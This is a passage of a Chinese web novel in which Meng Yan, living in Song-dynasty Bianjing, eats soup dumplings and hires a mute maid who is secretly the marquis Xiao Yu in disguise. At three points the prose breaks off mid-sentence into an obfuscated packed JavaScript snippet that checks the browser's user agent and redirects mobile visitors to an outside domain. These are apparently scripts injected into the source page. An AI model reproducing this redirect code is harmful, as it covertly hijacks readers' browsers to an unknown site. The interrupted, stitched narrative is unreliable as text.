昨日在成衣铺子并未见到暖靴，她还问了一嘴，女掌柜说汴京城这些年穿不到这个，她就没多想。 毕竟气候也捉摸不定，或许这些年汴京都是暖冬呢！ 孟嫣幽幽叹息一声，继续朝牙行走去。 牙行里，还是那日的王牙婆在，见到孟嫣笑问：“小娘子考虑好了？可要寻个长契女使？” 孟嫣点了点头。 王牙婆：“小娘子可有什么要求？” 孟嫣想了想：“为人本分，做事勤快就好。” 王牙婆：“那小娘子午前再过来，定给小娘子寻个满意的。” 孟嫣道谢，刚要离开，又回身问道：“王妈妈，州桥这边可有卖暖靴的？” 王牙婆笑道：“这成衣铺子或专门卖鞋履的铺子都有暖靴，小娘子不知道？” 王牙婆这才看向孟嫣的鞋，问：“小娘子的鞋可是在州桥头处的那家成衣铺子买的？” 孟嫣点了点头。 王牙婆立时变脸，啐骂道：“那家掌柜就是个黑心肝的，专骗那些南来北往对汴京城不熟的人，那掌柜可是跟你说汴京人都不穿暖靴？” 孟嫣摇了摇头，诚实道：“她说汴京穿不到这个。” 王牙婆“呸”了一声：“听她胡吣！一定是她们铺子短货了，才睁着眼睛瞎咧咧！” 孟嫣：……原来被骗了。 这也怪她自己，懒得去多走几家，去货比三家，直接去了门面看起来最为阔气的一家店，就想一站买齐。 却没想到女掌柜为了多卖她两双鞋没说实话。 孟嫣同王牙婆道谢后，又去了成衣铺子，这次多看了两家，最后在一家鞋铺里买了两双没过脚踝的鹿皮靴，又顺便买了长袜，当即换上。 湿湿凉凉一早上的脚终于暖了起来，孟嫣的肚子也饿了。 抬头就见对街一家门面宽阔，门头上的牌匾写着“王楼山洞梅花包子”的铺子。 也是包子铺？和鹿家包子有什么区别？ 现在孟嫣不想吃包子，只想吃碗热乎乎的汤面。 刚要去寻觅别的吃食，就见经过的两个书生模样的人说道：“走走走，去王楼，初雪映红梅，最该吃这梅花包子，不仅合景，那一口鲜香的汤汁都能暖到肺腑里！” 孟嫣竖了竖耳朵，竟是抬起脚步，也跟在二人后面去了王楼。 进了店，孟嫣没想到王楼一大早食客就这么多，几近满座。 难不成都是奔着什么“初雪映梅花”来的？ 孟嫣扫了一眼其他食客的桌上，上面都放着小笼，难道是小笼包？ 孟嫣一边暗自腹诽，一边随着伙计落了座，又问了问何为山洞梅花包子。 伙计笑着解释道：“咱家的包子收口处会留一处凹坑，形似山洞，而包子皮上的褶皱看上去又像梅花，所以就叫山洞梅花包子。” 听起来就是普通的包子，因着外形取了这个名字。 宋人可真雅致，是她这种俗气之人理解不了的。 既然没什么特别，孟嫣的好奇淡了不少，只要了两笼尝个味道，然后去吃份热乎乎的汤面。 很快，蒸笼就送了上来，随着蒸笼上来的还有一只装有姜丝的碟子。 孟嫣愣了一下。 看了看姜丝，又看了看蒸笼。 这……是灌汤包啊！ 她吃过最好吃的灌汤包，就会配一碟姜丝和一碟米醋。 姜丝浸在酸香柔和的米醋里，没有一丝辛辣，汤包一蘸送入口中，汤汁溢出，混合着米醋的甜酸，每一处都是恰到好处的味道。 醋的酸味重上一分就夺了肉汁香，只会觉得涩口。 肉汁浓上一分就盖过了醋的味道，只会觉得发腻。 汤包只有现做的提起来才会如一只软袋，轻轻一晃，面皮跟着左右摇摆。 否则若是冷了或是预制的，汤汁虽然还有，面皮却也定了形，就成了包子形状的水饺了。 孟嫣不再发愣，在桌上找到装有米醋的滴壶，倒在装有姜丝的碟子里，细细的姜丝和米醋融合，夹起一只随着筷子轻晃的汤包，在碟子里浸了浸，送入口中。 好烫！ 孟嫣张嘴缩舌缓了一会儿，才慢慢闭上嘴缓缓嚼了起来。 就是这个味道！ 灌汤包的汤汁，有的是在包的时候加入肉皮冻，蒸制后肉冻化开变成汤汁，喜欢肉汁油香的更愿意吃这种。 而有的则是将高汤分次加入肉馅中，蒸制后会将肉馅中的肉香混着高汤凝结出来形成汤汁，喜欢淡口一些的更愿意吃这种。 王楼包子用的就是后面这种方法，汤包.皮轻轻戳开，就会看到汤汁透亮留了出来。 都说吃灌汤包要先要开一个小口，将汤汁喝掉，然后再将包子吃掉，这叫“先开窗，后喝汤。” 但孟嫣喜欢整个送入口中，让汤汁在口中爆开。 若是将汤先吸溜光了，再吃汤包，那吃汤包的意义是什么？为何不配一碗肉汤加一份饺子？ 自然，孟嫣的这种吃法一不小心就很容易被烫到，想来“开窗喝汤”的吃法是为了舌头的安全着想吧！ 既然是孟嫣喜欢的姜丝灌汤包，两笼自然是不够的，孟嫣又加了三笼，还又要了两碟姜丝，还重新泡了醋，因为第一碟的姜丝醋的味道已经淡了。 伙计和周围的食客眼神都变了，何曾见过小娘子一下就吃五笼？还是这么瘦瘦小小的一位小娘子？ 孟嫣正埋头再汤包的鲜美中，根本没注意到周围人的异样。 正当她吃最后一笼时，头顶响起来一道慈祥的声音：“丫头，不介意我坐这里拼个桌吧？” 孟嫣一只包子刚送入口中，还没来得及嚼，抬头就见一位老夫人笑眯眯地站在桌子对面，身侧还跟着一位老嬷嬷。 老夫人穿的再素净不过，可周身却透出与周遭截然不同的尊贵气质。 孟嫣朝四周看去，原来已经坐满了。 她摇了摇头，迅速将口里的汤包吃掉，才轻声说了句：“不介意。” 那嬷嬷扶着老夫人坐下，又同伙计点了两笼汤包，这才关切地念叨开来：“老夫人下次要吃这王楼包子，还是让下人们来买吧，这天寒地冻的，您要是有个什么好歹，怎么跟侯爷交代？” 老夫人却先“哼”了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943831|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“那泼皮整日里见不着个影儿，都不知还记不记得有我这个祖母！” 然后又笑眯眯道：“这王楼包子要现做现吃才好，若是买回去这汤汁都凝了，吃起来还有什么滋味？” 嬷嬷还要说，老夫人又笑眯眯道：“行啦，你就别念叨我了，我这不就出来一回吗？” 嬷嬷只好无奈地闭了嘴。 孟嫣已经将最后一只包子送入口中，擦了擦嘴朝对面二人笑了笑付过账就起身离开了。 老嬷嬷见孟嫣走远了才低声惊叹道：“这小娘子的胃口可真好！满汴京城估计都找不出一个能吃的过她的女子！” 老夫人又笑眯眯：“能吃好，能吃是福啊！” 老嬷嬷又笑了：“对对对，像您一样，有福气！” 孟嫣在王楼吃包子时，王牙婆又奔去了小甜水巷，将孟嫣要寻长契女使一事告知了萧遇三人，让他们午前把选的人送到牙行去。 林檎正敷着欢娘配的面药，王牙婆走后，他指了指自己的脸道：“这要怎么办？” 三人也觉得很突然，本以为孟嫣怎么也要过十天半月再寻女使，到时候林檎的脸多多少少也可以将就糊弄一下。 可现在林檎这面药才敷了没几日，涂脂擦粉依旧掉渣，怎么都扮不成女使了。 三人沉默了半晌。 戍安暗暗暼向了自家侯爷，轻声咳了咳。 萧遇：“有话就说。” 戍安试探：“要不……侯爷您去？” 话音一落，林檎的眼珠子差点瞪了出来。 当初让他扮女使他都不情愿，侯爷可是顶天立地的汉子，将来可是要带领他们收复燕云的，怎可扮成女使？ 林檎觉得戍安脑子莫不是进风了？如若不然，怎么能说出这么异想天开的话？ 而萧遇沉思片刻却干脆地“嗯”了一声。 林檎彻底呆住了。 莫不是他耳朵出了毛病？ 正当他想再确认一下时，戍安已经起身出门，他看向自家侯爷，自家侯爷只淡淡暼了他一眼，这是在告诉他闭嘴。 林檎只好委委屈屈地憋着。 不消片刻，戍安就带回来了一身女子衣裳，除此之外，还有一副假头帘。 林檎面药已经洗净，拿过头帘问：“这是什么？” 戍安看向他那对已经被剃的细细弯弯的眉毛，没忍心告诉他。 可林檎却追着他后面问。 戍安：“给侯爷遮眉眼的，这样就不用剃眉毛了。” 林檎：…… 萧遇已经换了衣衫，戍安又帮他上妆易了容，假头帘遮住了那对剑眉，连狭长的凤眼都少了气势，看上去柔和了许多。 若是不看身板，这张脸看起来比林檎更像女子。 若是侯爷的脸和林檎的小身板融合一下就好了。 戍安遗憾地想。 萧遇照了照镜子，对自己这副妆容竟有几分满意，觉得自己这样可以混进敌营杀个七进七出都不会被发现。 戍安忽而想起什么，道：“侯爷，到时候您就装哑巴吧，现在去跟欢娘学女声已经来不及了。” 萧遇倒是忘了这一茬了，遂点了点头。 正满意的欣赏自己的模样，戍安又拿出了两颗大小均匀的梨。 萧遇疑惑拧眉。 戍安：“女子那里得鼓起来。” 萧遇憋了憋，直到脸都憋红了方说了一句：“……不用！” 戍安摸了摸鼻子，将梨扔给林檎一个。 林檎接过，在袖子上蹭了蹭，咬了一口，真甜。 18. 雇觅女使 孟嫣去牙行的时候，王牙婆已经挑选了十几个女使出来，自然也包括身形特别突出、换了衣衫的萧遇。 王牙婆有些犯愁，她以为这吴郎君送来的怎么也是个正常女子吧？谁成想是这般高大的？ 高大壮硕一些也不是没主家选，相反，许多主家都会抢着要，可她还是个哑巴呀！ 孟小娘子再怎么着也不会挑个哑巴吧？ 果真，有些银子真不是说赚就那么容易赚的到的。 王牙婆摸了摸袖袋里的二十两银子，心下微微叹气，幸好她早有准备。 王牙婆换上一张笑脸，指着第一个同孟嫣介绍起来：“这位叫娇娘，性情沉稳，最擅长煮饭，做的一手好菜。” 孟嫣随着王牙婆看去，会煮饭好啊，吃够了外面的饭还可以有人在家里煮。 她朝娇娘笑了笑，娇娘也朝她一笑，只不过以手捂着嘴，似乎比她还害羞。 孟嫣忽而注意到了她捂嘴的那只手的指甲里，堆了满满的黑泥。 孟嫣的笑容一僵。 王牙婆又介绍了第二个：“这位是白家三娘，做事特别爽利，洗衣提水不在话下。” 孟嫣忽略那满指甲的黑泥，目光望向这位白三娘，看上去果真是个爽利性子，就朝她微微颔首。 白三娘冲孟嫣一笑，大声道：“娘子！就巷口那块石头，我轻轻松松就能举起来！我力气大着呢！” 孟嫣倏地屏住呼吸，你口气也大着呢！ 王牙婆微微撇了撇头，又介绍起下一位。 这位好像不爱洗澡，这么冷的天都能闻到身上的馊味。 又一位，太瘦小了，比她还弱不禁风。 又一位，横眉竖眼，脾气不小。 又一位，爱唱曲，没问两句就拐到唱曲上了，拦都拦不住，悲悲戚戚地唱了起来。 …… 孟嫣有些疲惫，也有些心累，她只想找个会烧水洗衣灌汤婆子的人，都不用会煮饭贴身伺候，怎么就这么难？ 轮到萧遇，孟嫣已经蔫巴巴了。 王牙婆脸上则堆成了一朵花，昧着良心说道：“这位……可了不得，洗衣炊饭样样精通，就看她这身板，什么力气活都能做，小娘子将家里大小活计都交给她，她保准做的利利索索的！” 孟嫣打起精神，上上下下打量起来，看起来有些眼熟，一时想不起在哪里见过，不过指甲干净，衣着整齐，身上没异味，好像也不爱唱曲…… 孟嫣微微仰头，轻问：“你叫何名姓？年岁几何？家是哪里？” 萧遇缓缓抬眼，看向王牙婆。 王牙婆讪笑了下：“孟小娘子，这位姓萧，一生下来就不会说话，但人麻利着呢！本来被许多高门大户的人看上，可就因不会说话，只能遗憾放弃了，但我跟小娘子保证，这位做事是把好手，且绝不会多话！” 哑巴上哪里多话去？ 孟嫣又上下打量了一遍，眼睛渐渐亮了起来。 不会说话没关系，只要干货利索就行，何况她高高大大，看起来就火气壮！身体强！十分暖和！就她了！ 王牙婆看出孟嫣眼里的满意，也喜出望外，连声道：“这个最好，月钱也最便宜，每月只需一贯钱。” 孟嫣不住地点头。 这样夜里让她帮忙灌汤婆子，她应该也不会怕冷，就是现在她穿的太过单薄，等下带她去买两件冬衣。 孟嫣签好契书，为期一年，就带着刚雇的女使出了牙行。 等走远后，王牙婆和一众人齐齐松了口气，嘻嘻哈哈互相嫌弃起来。 王牙婆也笑着付给了她们每人一百文，又让她们闭紧嘴巴，否则这白赚银子的好事下次可轮不到她们了。 这十几人自然应承着。 孟嫣带着萧遇直接去了成衣铺子，刚要进去被萧遇拉住。 萧遇看看铺子，又看看她，歪了歪头，做疑惑状。 孟嫣捏了捏她单薄的衣裳，道：“你衣衫太薄了，我给你买两件袄子，汴京的天太冷了，别冻坏啦！” 说着就又要进去，回头见萧遇没动，以为她不好意思，便拉着她的袖口进了铺子。 不远不近跟在后面的林檎和戍安啧啧出声：“孟小娘子可真善良，侯爷可不怕冷，再说侯爷里面那件夹衣可比一般的袄子保暖多了！” 话落又想到王牙婆找的那些女使，“嘿”了一声：“王牙婆可真有办法！” 成衣铺子的掌柜就没见过这么高大的女子，铺子里一时也没适合萧遇尺寸的袄裤。 孟嫣也有些发愁，看着萧遇轻声道：“看来只能量身定做了，只是你还要冷上几日了。” 萧遇朝孟嫣摇了摇头。 孟嫣以为她不要，便道：“既然这一年里你都是我的女使，我自然要在吃用方面照顾你周全。” 萧遇想了想，拉过她的手，在她绵软的手心里一字一字写到：我不怕冷。 孟嫣只觉她的手很大，手指修长有力，指腹和掌心都布满了一层薄茧，看来从小到大做了不少粗活，是个勤快的。 孟嫣又满意了几分，同时起了几分心疼。 这时候的女子本就活的不易，像她这样身有残疾的只会更不易。 她也没管萧遇写了什么，更没意识到萧遇会写字，只拍了拍萧遇手臂，安抚道：“你放心，我不会亏待你的。” 萧遇：…… 孟嫣正要拉着萧遇出门，掌柜出言道：“小娘子，要不让这位娘子试试男子式样的袄裤？若是去现做袄子，最快也要三五日，这汴京一入了冬，是一日冷过一日，何必让这位娘子再冻上个三五日呢？” 孟嫣一想也有道理，便又看向萧遇，问问她的意思。 看来这袄子是非买不可了，与其去做件女夹袄，不如买件男子式样的。 思及此，萧遇便点了点头。 孟嫣让掌柜照着萧遇的身量拿两身男子式样的袄裤来，又看向了萧遇的鞋子。 萧遇脚上是一双黑布靴，是戍安临时找不到萧遇尺码的女鞋，就买了平民百姓穿的男布靴来。 萧遇又拉过孟嫣的手，在她手心写到：鞋，不用，是暖靴。 孟嫣这时才意识到萧遇竟然会写字。 会写字的话，今后交流可就省了不少事了！无事的时候还有人可以陪她说说话。 孟嫣更满意了，付了袄裤钱给掌柜，这才带着萧遇回了小甜水巷。 小院冷冷清清，地面覆了一层白雪，孟嫣出门前踩出的脚印和扫出的几步路已经被雪盖住，没了痕迹。 孟嫣已经换了鹿皮短靴，走的毫无顾忌，边走边道：“我这里没有那么多的琐事，主要就是洗衣、烧水、灌汤婆子、生火炉取暖，除此之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948354|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外也就没什么其他的事情了，洒扫也无需日日都做，像今日下雪了，就扫扫庭院。” 说着，二人已经进了堂屋。 今日下雪，没有阳光，堂屋冷冰冰的和外面差不了多少，甚至比外面还冷上几分。 萧遇微微蹙了蹙眉，不动声色扫了一圈，发现连个火炉都没有。 孟嫣将萧遇拉倒书案处落座，拿出纸笔给她。 “只听王妈妈说你姓萧，你叫萧什么？今后我如何称呼你？又是哪里人氏？” 萧遇看了看书案上的纸，又看了看把自己蜷在斗篷里的孟嫣，写到：没火炉吗？ 孟嫣这才想起这茬，忙道：“有有有，在西面用作库房的那间厢房里。” 说着起身带着萧遇去了西厢房，将火炉搬进了堂屋，放到离书案不远的地方。 萧遇又熟门熟路地去厨房取了些炭，手脚麻利地将火炉点着。 渐渐地，堂屋暖了起来。 孟嫣眼睛弯了弯，目不转睛地看着萧遇，这个女使找的真好呀！ 萧遇这才又坐下来，继续在纸上写到：萧怀真，汴京人氏。 怀真，取自怀真抱素，意为品德高洁，质朴无华。 孟嫣：“你的名字真好听，今后我就叫你怀真吧，你可以叫我阿嫣……” 说完才意识到她不会说话。 孟嫣歉意笑了笑。 萧遇在纸上写道：阿嫣。 孟嫣弯起眼睛笑了笑，这才又注意到了萧遇的字，竟是雄健洒脱、苍劲有力，可比她那一手横不平竖不直的字好看太多了。 可却也起了几分疑惑：一个生来就不会说话，只会做粗活的女子，怎么会识字？还写出这么一手好字？ 孟嫣脸上的疑惑太过明显，萧遇也意识到了，又写：邻居是夫子，偷偷听过他讲课。 孟嫣脸上的疑惑淡去，觉得萧遇真是身残志坚，生来不会说话不仅没消磨了她的意志，做粗活之际还能想到去偷偷跟着读书。 这个时代男子都少有能做到这样，何况她还是女子？ 放在现代都是令人敬佩的存在。 孟嫣的眼神都肃穆起来，满是钦佩之情。 萧遇不知为何孟嫣的眼神变了，沉默一瞬，朝外看了看，写道：我去扫雪。 只是刚要出门，就被孟嫣拉住。 萧遇望着她。 孟嫣：“把厚袄子换上。” 萧遇又沉默一瞬，拿了袄子又顿了顿，不知去哪里换。 孟嫣：“你我都是女子，今后都住在次间，彼此有个照应，去那里换吧。” 萧遇又沉默一瞬，一时没动。 孟嫣不解。 萧遇又坐了下来，写道：女使不应和主家同宿一屋。 原来是这样。 孟嫣却笑了笑：“这是大户人家的规矩吗？我这里没这个讲究，也讲究不来，小院虽有几间空屋子，但是太冷了，何况晚上我还需要你的照应，宿在一屋才方便。” 孟嫣见萧遇还是没动，又道：“你放心，我也不会同你睡在一床，不过不是嫌弃你，是我不习惯，到时候我们将窗边的矮榻搬到床边，你睡榻上，中间放着火炉，你我都暖和。” 孟嫣见萧遇还不动，便催促道：“快去换，不是要扫雪吗？” 萧遇默了默，终于起身去了次间。 19. 李四分茶 次间和萧遇想象中不同，陈设很简单，完全看不出是一个大舶商之女的房间。 次间以屏风相隔，里面是平日睡觉的架子床，外面是白日用来小憩的矮榻。 萧遇蹙了蹙眉，这么怕冷，怎么没搭个火阁？ 目光又扫了几眼，在屏风外迅速将袄子换上，材质比他平日里穿用的粗糙了些，却也没有太多不适。 看着换下来的绫面夹衣，萧遇沉默一瞬，将其卷在另一件新袄中，一起先放在了矮榻上。 出来后，身上明显臃肿了许多。 孟嫣便知她换了袄子，朝她笑了笑，也站起身来，准备和她一起扫雪。 萧遇却按住了她，在纸上写道：怎么没搭个火阁？ 孟嫣：“火阁？” 这是什么？暖阁吗？这要如何搭？ 萧遇没想到孟嫣竟不知火阁，虽奇怪却也没深究，想了想，在纸上画了起来。 孟嫣渐渐明白了。 萧遇笔下的火阁其实就是后来明清时期的暖阁，都是在起居室里搭建个小隔间，不同的是，明清时期的暖阁不可拆卸，这时的火阁却可以。 冬日在靠南的窗子边上搭建出一个隔间，上面罩上软帷，将床榻搬进来，再放个火炉，因为空间小，所以取暖效果好。 等冬日一过，将火阁拆除，房间又恢复成原样。 孟嫣：“这得请个匠人来。” 萧遇却又在纸上写到：我去办。 孟嫣想到她是汴京人氏，比她熟悉的多，便同意了。 萧遇又写：要明日。扫完雪，回去取两身衣裳。 孟嫣看过，突然拍了下自己脑袋：“这怪我，只想着给你买袄子，忘了给你添衣裳了。王妈妈说，你春夏秋冬四时衣衫，每时我也要管两身的。” 说到这，孟嫣又想起了萧遇月钱，又道：“虽然你不会说话，月钱只需一贯，但我并不觉得你比别人差哪去，所以你的月钱和别人一样，也是一千五百钱。” 孟嫣说完，想了想又道：“不过现在冬日，晚上我可能要劳烦你去灌汤婆子，还要注意着炭火，要辛苦一些。我听闻那些大户人家的贴身女使每月也有四贯钱的月钱，守夜什么的也是轮流来，我这里只有你一人，所以冬日这几个月，我付你五贯钱如何？” 她果然不缺银子。 五贯钱可是心腹女使才能拿到的月钱，她就这样波澜不惊地给了一个粗使丫头。 看来找到传闻中的那些财宝有望了！ 萧遇轻轻点了点头，却也写道：衣裳，我有，不用管。 孟嫣见此，想了想：“那我把四季衣裳都折算成银钱给你。” 今后二人就要在一起生活一年之久，冬日夜里还要折腾人起来给她灌汤婆子，她心里还挺过意不去的，只好多给些银钱，不能把人亏待了去。 萧遇又点了点头。 二人去了院子，萧遇二话不说拿起扫帚扫起雪来，孟嫣也去厨房又寻了一把，跟在他后面扫。 萧遇却拦住了她，让她进去烤火。 孟嫣却笑：“我们一起还快些，况且郎中说我也要多动动才好。” 孟嫣的话半真半假，其实她穿过来第二日，身子已经能明显感觉到好多了，恢复了正常饮食后，她觉得身子已经完全好了。 她也出来扫雪，无非是不想萧遇一个人。 一个人真是太孤单了，即便她自己扫的不快，多个人陪着，也能让人家心里暖上几分不是？ 萧遇却觉得她只会添乱，还是让她回去烤火。 孟嫣拗不过，只好拢着斗篷站在了一边看着。 萧遇觉得孟小娘子这个人真奇怪，明明冷的不行，还非要站外面。 他也不废话，动作利落地扫起雪来。 萧遇按着记忆，将院中砖石铺就的路先清扫出来，再要继续扫时被孟嫣叫住了。 萧遇回头，就见孟嫣站在他清扫出来的砖石路上，离他几步远：“其他的地方不用扫了，平日里也不会往这些地方走，明年我还想在这些空地上种上些什么，这雪正好可以沃沃土。” 萧遇便就作罢。 孟嫣还记得萧遇要回去拿几身衣裳，就让她早些回去，也早点回来用晚饭。 萧遇轻轻颔首就出了院子。 孟嫣回了堂屋，坐在火炉旁，心情都舒泰了几分。 有人帮着干活真好啊！ 还是得有钱才行。 她粗粗算了算这些日子的花销，已然花出去十几贯钱了，不过置办冬日用的衣物占了大头，吃饭倒是花的不多，还不到一贯钱。 她手里的银子还是能花挺长时间的。 既然这样，赚钱的事先不着急，她可以和萧怀真在汴京各处转转了！ 思及此，孟嫣拢了拢斗篷，美滋滋地笑了起来。 萧遇出了院子径直回了隔壁。 林檎和戍安正百无聊赖，见侯爷回来立刻蹦了起来。 萧遇先吩咐戍安：“再去买两身女子衣裳来。” 又吩咐林檎：“明日回府，把库房那套不用的火阁找几个人送到孟小娘子那边，你别露面。” 林檎先应了一声，然后搓着手问道：“侯爷，您和孟小娘子今日吃什么？” 萧遇淡淡暼了他一眼，没说话。 孟嫣让他回去用晚膳，却也没说吃什么。 隔壁的孟嫣的确在琢磨晚上带萧遇去吃什么，今后她的轻省日子就都要靠她了。 可她也只吃过州桥附近的几家店，要说味道不错、吃食相对齐全、又是汴京口味的，也只有薛家分茶了。 要不晚上还是去薛家？去别家也行，可若是不好吃总会给她一个开局不利的感觉。 孟嫣正拧眉苦想的时候，萧遇提着一只包裹回来了。 一进门，就见孟嫣还坐在书案前烤火，似是他离开后就没挪过窝。 孟嫣招了招手。 萧遇将包裹放下，落座。 孟嫣：“你对汴京各大食店可熟悉？谁家最好吃？最合你胃口？” 原来是问他汴京食店。 汴京酒楼食肆数百家，就是说也要说上一时半会儿，而他现在要装哑巴，自然是开不了口。 萧遇想了想，写道：你喜欢什么口味的吃食？ 既然一时半会儿说不清楚，就先问问她喜欢什么，按着她的喜好推荐一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952466|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些。 孟嫣还真认真想了想，拢了拢斗篷，歪头道：“我好像不挑食，什么都挺喜欢吃的。” 萧遇：…… 又写：那现在最想吃什么？ 孟嫣又想了想：“吃些暖和的。” 萧遇写道：吃羊，羊温补，令体暖身热。 孟嫣丝毫没察觉自己已经被萧遇牵着鼻子走，点头道：“谁家做的羊最好吃？” 汴京各大食店做羊各有做法，若说好吃，不过是各人喜好。 萧遇看了孟嫣一眼，没有车马，又这么怕冷…… 萧遇写道：李四分茶，羊不错。 孟嫣：“在何处？” 萧遇：州桥以南，遇仙楼对面。 看到“遇仙楼”三个字，孟嫣目光亮了亮：“酒楼的茶饭岂不是更好吃？” 萧遇却摇了摇头又点了点头。 孟嫣：“那是好吃还是不好吃？” 萧遇：酒楼，卖酒。 孟嫣猜测：“只卖酒，不卖茶饭？” 萧遇又摇了摇头，又写：有茶饭，不一定好吃。 孟嫣“哦”了一声，脸上失望之色明显，没想到汴京酒楼繁多，却并不精于茶饭。 萧遇见孟嫣的神色，又开始写了起来，只不过这次写了许多字。 孟嫣看去，这才明白。 原来汴京各大酒楼主打卖酒、宴饮、赏乐，也有茶饭经营，菜肴精致，味道也尚可。 若说好吃，可能比不上一些食肆的味道，并且通常以佐酒菜肴为主。另外，许多酒楼还都允许食客自行去外面食肆买下酒菜。 自然，也有菜肴味美的酒楼。 比如近两年刚建成的白矾楼，又名丰乐楼，不仅建筑恢弘，在其三楼可俯瞰皇宫大内，其许多常见食物用料奇珍，做法繁复，呈现精致，因而味道独特鲜美，在京城也是首屈一指。 孟嫣又弯起眼睛笑笑：“既然如此，哪日我们也去那丰乐楼吃上一顿，也看看皇宫大内是个什么样！” 萧遇却写道：俯瞰皇宫大内的那一侧已经封上了。 孟嫣：…… 二人最终去了李四分茶。 李四分茶果真与薛家不同，刚到店门口就闻到了羊肉香，看来李四家主打吃的是个羊肉。 二人落座，孟嫣就见厅中楹柱上挂了招牌，招牌上写着各色羊。 从羊头到羊蹄再到内脏，各个部位诸多吃法。 最终孟嫣二人点了羊头签、蒸软羊、清炖羊、炒羊几道羊肉菜肴，又加了两道炒发芽豆和蒸干茄的素菜以及两份乳羊面。 菜没上之前，孟嫣在想菜的味道如何。 菜送上来后，孟嫣想的则是够不够吃了。 二人虽然足足点了六道菜，可不是以浅盘就是以浅碗盛装，无论是盘还是碗，在孟嫣看来都不太大。 就像那道以浅盘装的炒羊，孟嫣觉得都不够她吃几口的。 孟嫣虽然有几分兴味阑珊，好在菜的味道却很不错，吃的她面颊鼓鼓。 萧遇倒没想那么多，羊头签外酥里嫩，蒸软羊入口即化，都是他喜欢的味道。 很快，二人将几道菜一扫而光。 20. 取暖火阁 天色早已黑了下来，二人也已经回了小院。 李四家的菜量虽然不大，味道却尚可，后面又加了几道菜，一顿饭吃的还算满意。 萧遇在厨房烧水，孟嫣从柜子里又抱出一床被褥来。 临窗的矮榻已经搬了过来，与架子床同火炉相隔。 和架子床比起来，孟嫣总觉得矮榻不够萧遇睡的，犹豫片刻，依旧将被褥放在了榻上。 洗漱过后，孟嫣钻进被窝，发出了满足的喟叹声。 被窝里被两个汤婆子焐的暖暖的，床边的火炉烧的旺旺的。 孟嫣侧首望向矮榻，萧遇却没过来，不知在屏风那边干什么。 孟嫣轻轻喊了一声：“怀真？” 萧遇刚要应声，骤然想到自己是哑巴。 犹豫片刻还是走了过来。 孟嫣一头乌发已经散开，整个人缩在被子里，烛光映出她巴掌大的小脸，一双眼睛乌溜溜地望着他。 孟嫣：“怎么不过来睡觉？” 萧遇深深看了她一眼，吹熄了灯，和衣卧在榻上。 大概被窝太舒服，孟嫣很快就睡着了。 萧遇却挣开了眼。 借着朦胧的月色，萧遇起身，直奔那上着锁的两个箱笼。 他轻轻抚摸着箱笼上的锁，垂眸沉思，最后站起身来，又向别处慢慢摸索查探。 直到院中传来三声掷石子的声音，萧遇才出了屋子。 院子里，林檎和戍安已经等在东边墙头，见侯爷出来，才齐齐翻身而下。 三人进了厨房。 林檎点了灯，戍安拖来一条矮凳，让萧遇坐下，然后动作熟练地替萧遇清洗面妆。 林檎迫不及待：“侯爷，可发现了机关暗道？” 萧遇摇了摇头。 林檎嘟囔：“孟尚杰会把财宝藏在哪里呢？” 萧遇没去理会林檎的嘟囔，问戍安：“这面妆要日日用膏油这般清洗？不能以水洗？” 戍安将萧遇眼睛用湿布巾擦拭干净，方道：“此乃易容面妆，比之女子寻常妆容要厚重一些，仅以清水，洗不干净。” 戍安又将萧遇整张脸以湿布巾擦拭后，又道：“侯爷，可以正常净面了。” 萧遇正要起身翻墙回自家院子净面，就见林檎拎出一只铜盆：“侯爷，我带过来了。” 说着就去给萧遇打水。 萧遇挽起袖口，用冰凉的冷水往脸上扑了两把，戍安递上干布巾。 等萧遇擦干净，戍安又道：“明日我再过来为侯爷上妆易容。” 萧遇颔首。 二人刚要离开，被萧遇叫住了。 林檎打了个哈欠：“侯爷，还有何事？” 萧遇：“把水缸里打满水，锅里也备好热水。” 正要走，又补充道：“动静轻点。” 这才回了屋子。 林檎和戍安双双愣住，还是戍安最先反应过来，迅速转身翻过墙头，消失在月色中。 林檎刚要“哎——”一声，骤然想到侯爷的提醒，立刻又捂上了嘴。 他看看已经熄了灯的屋子，又看看光秃秃没有人影的墙头，嘴唇抖了抖，轻手轻脚地干起活来。 萧遇回了屋子后，没去屏风后的暖榻上歇着，而是直接歇在了外间。 半夜的时候，孟嫣迷迷糊糊叫了他一声，又嘟嘟囔囔道：“汤婆子冷了。” 萧遇这才进来，接着她的话道：“把汤婆子推出来。” 孟嫣只皱了皱眉，又嘟囔一句：“汤婆子冷了。” 萧遇沉默一瞬，按着记忆先在被子上按了按，确定了汤婆子位置才将手伸进被子里。 林檎已经回去了，锅里的水还热着。 萧遇换好汤婆子，又将其塞了回去。 孟嫣眉头舒展开来。 次日，孟嫣醒来时，矮榻上被褥整齐，早已经没了人。 